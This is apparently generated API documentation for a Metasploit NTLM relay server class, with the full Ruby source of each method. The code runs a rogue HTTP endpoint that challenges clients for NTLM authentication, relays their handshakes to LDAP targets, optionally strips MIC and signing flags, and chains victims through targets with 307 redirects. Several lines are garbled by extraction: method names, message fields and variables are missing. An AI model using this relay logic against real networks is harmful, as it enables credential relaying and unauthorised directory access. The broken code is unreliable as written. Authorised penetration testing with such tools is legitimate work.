Class: Msf::Exploit::Remote::HttpServer::Relay::NTLM::ServerClient
- Inherits:
-
Object
- Object
- Msf::Exploit::Remote::HttpServer::Relay::NTLM::ServerClient
- Defined in:
- lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb
Instance Attribute Summary collapse
-
#cli ⇒ Object
Returns the value of attribute cli.
-
#logger ⇒ Object
readonly
Returns the value of attribute logger.
-
#redirect_uri ⇒ Object
Returns the value of attribute redirect_uri.
-
#state ⇒ Object
Returns the value of attribute state.
Instance Method Summary collapse
- #abort_connection(reason) ⇒ Object
- #advance_to_next_target_via_redirect ⇒ Object
- #complete_current_relay_attempt(is_success:, identity: nil) ⇒ Object
- #create_relay_client(target, timeout) ⇒ Object
- #extract_ntlm_message(auth_header) ⇒ Object
- #finished? ⇒ Boolean
- #handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type) ⇒ Object
- #handle_type3(parsed_type3) ⇒ Object
-
#initialize(cli, relay_targets, logger, timeout = 25) ⇒ ServerClient
constructor
A new instance of ServerClient.
- #process_request(req) ⇒ Object
- #send_401_challenge ⇒ Object
- #unwrap_ntlm_base64(b64_msg) ⇒ Object
Constructor Details
#initialize(cli, relay_targets, logger, timeout = 25) ⇒ ServerClient
Returns a new instance of ServerClient.
9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 9 def initialize(cli, relay_targets, logger, timeout = 25) @cli = cli @state = :unauthenticated @relay_targets = relay_targets @logger = logger @timeout = timeout @relayed_connection = nil @current_target = nil @ntlm_context = { wrapper: :none, type1: nil, type2: nil } end |
Instance Attribute Details
#cli ⇒ Object
Returns the value of attribute cli.
7 8 9 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 7 def cli @cli end |
#logger ⇒ Object (readonly)
Returns the value of attribute logger.
6 7 8 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 6 def logger @logger end |
#redirect_uri ⇒ Object
Returns the value of attribute redirect_uri.
7 8 9 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 7 def redirect_uri @redirect_uri end |
#state ⇒ Object
Returns the value of attribute state.
7 8 9 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 7 def state @state end |
Instance Method Details
#abort_connection(reason) ⇒ Object
282 283 284 285 286 287 288 289 290 291 292 293 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 282 def abort_connection(reason) logger.print_error("Aborting connection with #{cli.peerhost}: #{reason}") res = Rex::Proto::Http::Response.new res.code = 400 res. = "Bad Request" res.headers['Connection'] = "Close" res.headers['Content-Length'] = "0" res.body = "" cli.put(res.to_s) @state = :aborted end |
#advance_to_next_target_via_redirect ⇒ Object
248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 248 def advance_to_next_target_via_redirect @current_target = @relay_targets.next(@cli.peerhost) if @current_target random_path = "/" + Rex::Text.rand_text_alphanumeric(10) @redirect_uri = random_path @logger.print_status("Moving to next target (#{@current_target.ip}). Issuing 307 Redirect to #{random_path}") res = Rex::Proto::Http::Response.new res.code = 307 res. = "Temporary Redirect" res.headers['Location'] = random_path res.headers['Connection'] = "keep-alive" res.headers['Content-Length'] = "0" cli.send_response(res) @state = :unauthenticated @ntlm_context[:type1] = nil @ntlm_context[:type2] = nil else @logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.") res = Rex::Proto::Http::Response.new res.code = 404 res. = "Not Found" res.headers['Connection'] = "close" res.headers['Content-Length'] = "0" cli.send_response(res) @state = :done end end |
#complete_current_relay_attempt(is_success:, identity: nil) ⇒ Object
183 184 185 186 187 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 183 def complete_current_relay_attempt(is_success:, identity: nil) return unless @current_target @relay_targets.on_relay_end(@current_target, identity: identity, is_success: is_success) end |
#create_relay_client(target, timeout) ⇒ Object
75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 75 def create_relay_client(target, timeout) case target.protocol when :ldap client = Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client.create(self, target, logger, timeout) else raise RuntimeError, "unsupported protocol: #{target.protocol}" end client rescue ::Rex::ConnectionTimeout => e msg = "Timeout error retrieving server challenge from target #{target}. Most likely caused by unresponsive target" elog(msg, error: e) logger.print_error msg nil rescue ::Exception => e msg = "Unable to create relay to #{target}" elog(msg, error: e) logger.print_error msg nil end |
#extract_ntlm_message(auth_header) ⇒ Object
317 318 319 320 321 322 323 324 325 326 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 317 def (auth_header) return nil unless auth_header # Match either "NTLM <base64>" or "Negotiate <base64>" (case insensitive) if auth_header =~ /^(NTLM|Negotiate)\s+(.+)$/i return $1, $2 # Return The auth type and the base64 message end nil end |
#finished? ⇒ Boolean
96 97 98 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 96 def finished? state == :done || state == :aborted end |
#handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type) ⇒ Object
113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 113 def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type) @ntlm_context[:type1] = raw_ntlm_bytes @current_target ||= @relay_targets.next(cli.peerhost) if @current_target.nil? logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.") res = Rex::Proto::Http::Response.new res.code = 404 res. = "Not Found" res.headers['Connection'] = "Close" res.headers['Content-Length'] = "0" cli.send_response(res) @state = :done return end begin logger.print_status("Attempting to relay to #{Rex::Socket.(@current_target.ip, @current_target.port)}") @relayed_connection = create_relay_client(@current_target, @timeout) if @relayed_connection.nil? logger.print_error("Connection to #{@current_target.ip} failed: unable to create relay client") advance_to_next_target_via_redirect return end if @current_target.drop_mic_and_sign_key_exch_flags incoming_security_buffer = do_drop_mic_and_flags(parsed_ntlm) elsif @current_target.drop_mic_only incoming_security_buffer = do_drop_mic(parsed_ntlm) else incoming_security_buffer = parsed_ntlm.serialize end relay_result = @relayed_connection.relay_ntlmssp_type1(incoming_security_buffer) if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED type2_msg = relay_result. @ntlm_context[:type2] = type2_msg if @ntlm_context[:wrapper] == :gss_spnego wrapped_type2 = RubySMB::Gss.gss_type2(type2_msg.serialize) target_type2_msg = Rex::Text.encode_base64(wrapped_type2) auth_header = "#{auth_type} #{target_type2_msg}" else target_type2_msg = Rex::Text.encode_base64(type2_msg.serialize) auth_header = "#{auth_type} #{target_type2_msg}" end logger.print_status("Received type2 from target #{@current_target.protocol}://#{Rex::Socket.(@current_target.ip, @current_target.port)}, attempting to relay back to client") res = Rex::Proto::Http::Response.new res.code = 401 res. = "Unauthorized" res.headers['WWW-Authenticate'] = auth_header res.headers['Connection'] = "Keep-Alive" res.headers['Content-Length'] = "0" cli.send_response(res) @state = :awaiting_type3 return else logger.print_error("Target #{@current_target.ip} rejected the Type 1 message.") end rescue ::Exception => e logger.print_error("Connection to #{@current_target.ip} failed: #{e.}") end advance_to_next_target_via_redirect end |
#handle_type3(parsed_type3) ⇒ Object
189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 189 def handle_type3(parsed_type3) relay_succeeded = false relay_completed = false # 1. Safely extract the identity from the Type 3 message early identity = nil if parsed_type3 domain = parsed_type3.domain.to_s.force_encoding('UTF-8') user = parsed_type3.user.to_s.force_encoding('UTF-8') identity = "#{domain}\\#{user}" unless user.empty? end if @current_target.drop_mic_and_sign_key_exch_flags incoming_security_buffer = do_drop_mic_and_flags(parsed_type3) elsif @current_target.drop_mic_only incoming_security_buffer = do_drop_mic(parsed_type3) else incoming_security_buffer = parsed_type3.serialize end relay_result = @relayed_connection.relay_ntlmssp_type3(incoming_security_buffer) if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS relay_succeeded = true logger.on_ntlm_type3( address: @relayed_connection.target.ip, ntlm_type1: @ntlm_context[:type1], ntlm_type2: @ntlm_context[:type2], ntlm_type3: parsed_type3, service_name: 'HTTP' ) if identity.blank? logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@relayed_connection.target.ip}") @relayed_connection.disconnect! if @relayed_connection else logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to LDAP!") logger.on_relay_success(relay_connection: @relayed_connection, relay_identity: identity) end @relayed_connection = nil else logger.print_error("Relayed authentication failed or was rejected by LDAP.") @relayed_connection.disconnect! if @relayed_connection @relayed_connection = nil end complete_current_relay_attempt(is_success: relay_succeeded, identity: identity) relay_completed = true @state = :done advance_to_next_target_via_redirect rescue StandardError => e logger.print_error("Relaying type 3 message to target #{@current_target.ip} failed: #{e.}") complete_current_relay_attempt(is_success: false, identity: identity) unless relay_completed end |
#process_request(req) ⇒ Object
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 25 def process_request(req) logger.print_status("Processing request in state #{state} from #{cli.peerhost}") auth_header = req.headers['Authorization'] auth_type, = (auth_header) parsed_ntlm = nil raw_ntlm_bytes = nil if begin raw_ntlm_bytes = unwrap_ntlm_base64() parsed_ntlm = Net::NTLM::Message.parse(raw_ntlm_bytes) rescue ::Exception => e logger.print_error("Failed to parse incoming NTLM/SPNEGO message: #{e.}") abort_connection("Invalid NTLM payload.") return end end case state when :unauthenticated if parsed_ntlm.nil? send_401_challenge elsif parsed_ntlm.is_a?(Net::NTLM::Message::Type1) logger.print_status("Received Type 1 message from #{cli.peerhost}, attempting to relay...") handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type) else abort_connection("Expected No Auth or Type 1, got something else.") end when :awaiting_type3 if parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type3) logger.print_status("Received Type 3 message from #{cli.peerhost}, attempting to relay...") handle_type3(parsed_ntlm) elsif parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type1) logger.print_warning("Client restarted the handshake! Resetting state to handle new Type 1...") @relayed_connection.disconnect! if @relayed_connection @relayed_connection = nil handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type) else abort_connection("Expected Type 3, got something else.") end when :done # The relay is finished for this connection, ignore further requests end end |
#send_401_challenge ⇒ Object
101 102 103 104 105 106 107 108 109 110 111 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 101 def send_401_challenge res = Rex::Proto::Http::Response.new res.code = 401 res. = "Unauthorized" res.headers['WWW-Authenticate'] = "NTLM, Negotiate" res.headers['Connection'] = "Keep-Alive" res.headers['Content-Length'] = "0" res.body = "" cli.put(res.to_s) end |
#unwrap_ntlm_base64(b64_msg) ⇒ Object
295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 |
# File 'lib/msf/core/exploit/remote/http_server/relay/ntlm/server_client.rb', line 295 def unwrap_ntlm_base64(b64_msg) buf = Rex::Text.decode_base64(b64_msg) if valid_ntlm_blob?(buf) @ntlm_context[:wrapper] = :none return buf end gss_api = OpenSSL::ASN1.decode(buf) if gss_api&.tag == 0 && gss_api&.tag_class == :APPLICATION logger.print_status("Detected GSS-SPNEGO wrapping around the type1 NTLM message") @ntlm_context[:wrapper] = :gss_spnego return process_gss_spnego_init(buf) elsif gss_api&.tag == 1 && gss_api&.tag_class == :CONTEXT_SPECIFIC logger.print_status("Detected GSS-SPNEGO wrapping around the type3 NTLM message") @ntlm_context[:wrapper] = :gss_spnego return process_gss_spnego_targ(buf) end raise ArgumentError, "Unrecognized NTLM or SPNEGO payload" end |